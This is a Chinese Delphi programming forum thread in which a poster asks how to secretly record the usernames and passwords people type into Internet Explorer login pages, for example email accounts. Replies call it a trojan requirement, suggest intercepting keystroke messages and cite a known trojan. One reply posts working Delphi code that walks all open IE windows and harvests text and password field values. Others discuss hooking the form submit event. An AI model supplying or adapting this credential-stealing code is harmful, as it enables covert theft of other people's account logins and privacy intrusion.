如何得到用户在IE网页中输入的用户名和密码！(100分)

请问如何得到用户在IE网页中输入的用户名和密码，比如用户输入电子邮件的用户名和密码，点确定。我这个程序就会把它记录下来。请高手来解答

做坏事不好！[]

谁会呀！请教！

这是一个典型的木马程序要求，你只记录用户击的哪些Key。参考程序有“冰河”程序。用户的击Key，会向Windows发送一个消息: WM_KEYDOWN = $0100;你只要拦截这个消息即可。

如何用户名已经在登录框中（以前用了COOKIE，没有击键），怎么得到这个用户名。

实现IWebbrowser2;接口一切ok

是嗎?請問如何做Iwebbrowser2接口

Iwebbrowser2怎么做，谁会？

不难 Iwebbr...那个东西。
不过…… 偶尝试写了，结果老是崩溃。
而且不知道如何截获“点submit”这个事件。
请教高人。

谁会呀！把代码写出来看看吧

用以下方法可以得到网页中的内容！

procedure GetData;

var

ShellWindow: IShellWindows;

nCount: integer;

spDisp: IDispatch;

i,j: integer;

vi: OleVariant;

IE1: IWebBrowser2;

IDoc1: IHTMLDocument2;

iELC : IHTMLElementCollection ;

S2 : string;

HtmlInputEle : IHTMLInputElement;


begin

ShellWindow := CoShellWindows.Create;

nCount := ShellWindow.Count;

for i := 0 to nCount - 1 do

begin

vi := i;

spDisp := ShellWindow.Item(vi);

if spDisp = nil then continue;

spDisp.QueryInterface( iWebBrowser2, IE1 );

if IE1 <> nil then

begin

IE1.Document.QueryInterface(IHTMLDocument2,iDoc1);

if iDoc1 <> nil then

begin

ielc:=idoc1.Get_all;

for j:=0 to ielc.length-1 do

begin

Application.ProcessMessages;

spDisp := ielc.item(J, 0);


if SUCCEEDED(spDisp.QueryInterface(IHTMLInputElement ,HtmlInputEle))then

with HtmlInputEle do

begin

S2:=Type_;

S2:=UpperCase(S2);

if (StrComp(PChar(S2),'TEXT')=0) or (StrComp(PChar(S2),'PASSWORD')=0) then

form1.ListBox1.Items.Add(value);//value就是索要获得的内容了

end;

end;

end;

end;
end;
end;

？？？？
试试！看能不能成功~！

提交事件需要得到这个接口
http://www.delphibbs.com/delphibbs/dispq.asp?lid=2521492
IHTMLFormElement = interface(IDispatch)
['{3050F1F7-98B5-11CF-BB82-00AA00BDCE0B}']
procedure Set_action(const p: WideString); safecall;
function Get_action: WideString; safecall;
procedure Set_dir(const p: WideString); safecall;
function Get_dir: WideString; safecall;
procedure Set_encoding(const p: WideString); safecall;
function Get_encoding: WideString; safecall;
procedure Set_method(const p: WideString); safecall;
function Get_method: WideString; safecall;
function Get_elements: IDispatch; safecall;
procedure Set_target(const p: WideString); safecall;
function Get_target: WideString; safecall;
procedure Set_name(const p: WideString); safecall;
function Get_name: WideString; safecall;
procedure Set_onsubmit(p: OleVariant); safecall;
function Get_onsubmit: OleVariant; safecall;
procedure Set_onreset(p: OleVariant); safecall;
function Get_onreset: OleVariant; safecall;
procedure submit; safecall;
procedure reset; safecall;
procedure Set_length(p: Integer); safecall;
function Get_length: Integer; safecall;
function Get__newEnum: IUnknown; safecall;
function item(name: OleVariant; index: OleVariant): IDispatch; safecall;
function tags(tagName: OleVariant): IDispatch; safecall;
property action: WideString read Get_action write Set_action;
property dir: WideString read Get_dir write Set_dir;
property encoding: WideString read Get_encoding write Set_encoding;
property method: WideString read Get_method write Set_method;
property elements: IDispatch read Get_elements;
property target: WideString read Get_target write Set_target;
property name: WideString read Get_name write Set_name;
property onsubmit: OleVariant read Get_onsubmit write Set_onsubmit;
property onreset: OleVariant read Get_onreset write Set_onreset;
property length: Integer read Get_length write Set_length;
property _newEnum: IUnknown read Get__newEnum;
end;

密码搞到容易，难得是如何得到点击按钮submit的事件,并通知程序做出反应！！有谁会啊??

网页中带有FRAME怎么办？代码就不能用了。谁会？

我用ＶＣ完成了，要不要啊？